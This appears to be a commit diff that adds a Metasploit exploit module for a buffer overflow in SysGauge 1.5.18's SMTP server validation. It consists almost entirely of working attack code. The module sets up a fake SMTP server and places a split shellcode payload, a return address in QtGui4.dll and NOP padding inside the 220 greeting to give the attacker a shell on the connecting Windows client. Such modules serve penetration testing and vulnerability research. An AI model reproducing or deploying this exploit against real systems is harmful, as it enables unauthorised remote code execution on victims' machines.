|
| 1 | +# |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +# |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + include Msf::Exploit::Remote::TcpServer |
| 8 | + |
| 9 | + Rank = NormalRanking |
| 10 | + |
| 11 | + def initialize() |
| 12 | + super( |
| 13 | + 'Name' => 'SysGauge SMTP Validation Buffer Overflow', |
| 14 | + 'Description' => %q{ |
| 15 | + This module will setup an SMTP server expecting a connection from SysGauge 1.5.18 |
| 16 | + via its SMTP server validation. The module sends a malicious response along in the |
| 17 | + 220 service ready response and exploits the client, resulting in an unprivileged shell. |
| 18 | + }, |
| 19 | + 'Author' => |
| 20 | + [ |
| 21 | + 'Chris Higgins', # msf Module -- @ch1gg1ns |
| 22 | + 'Peter Baris' # Initial discovery and PoC |
| 23 | + ], |
| 24 | + 'License' => MSF_LICENSE, |
| 25 | + 'References' => |
| 26 | + [ |
| 27 | + [ 'EDB', '41479' ], |
| 28 | + ], |
| 29 | + 'DefaultOptions' => |
| 30 | + { |
| 31 | + 'EXITFUNC' => 'thread' |
| 32 | + }, |
| 33 | + 'Payload' => |
| 34 | + { |
| 35 | + 'Space' => 306, |
| 36 | + 'BadChars' => "\x00\x0a\x0d\x20" |
| 37 | + }, |
| 38 | + 'Platform' => 'win', |
| 39 | + 'Targets' => |
| 40 | + [ |
| 41 | + [ 'Windows Universal', |
| 42 | + { |
| 43 | + 'Offset' => 176, |
| 44 | + 'Ret' => 0x6527635E # call esp # QtGui4.dll |
| 45 | + } |
| 46 | + ] |
| 47 | + ], |
| 48 | + 'Privileged' => false, |
| 49 | + 'DisclosureDate' => 'Feb 28 2017', |
| 50 | + 'DefaultTarget' => 0 |
| 51 | + ) |
| 52 | + register_options( |
| 53 | + [ |
| 54 | + OptPort.new('SRVPORT', [ true, "The local port to listen on.", 25 ]), |
| 55 | + ]) |
| 56 | + end |
| 57 | + |
| 58 | + def on_client_connect(c) |
| 59 | + # Note here that the payload must be split into two parts. |
| 60 | + # The payload gets jumbled in the stack so we need to split |
| 61 | + # and align to get it to execute correctly. |
| 62 | + sploit = "220 " |
| 63 | + sploit << rand_text(target['Offset']) |
| 64 | + # Can only use the last part starting from 232 bytes in |
| 65 | + sploit << payload.encoded[232..-1] |
| 66 | + sploit << rand_text(2) |
| 67 | + sploit << [target.ret].pack('V') |
| 68 | + sploit << rand_text(12) |
| 69 | + sploit << make_nops(8) |
| 70 | + # And the first part up to 232 bytes |
| 71 | + sploit << payload.encoded[0..231] |
| 72 | + sploit << "ESMTP Sendmail \r\n" |
| 73 | + |
| 74 | + print_status("Client connected: " + c.peerhost) |
| 75 | + print_status("Sending payload...") |
| 76 | + |
| 77 | + c.put(sploit) |
| 78 | + end |
| 79 | + |
| 80 | +end |
0 commit comments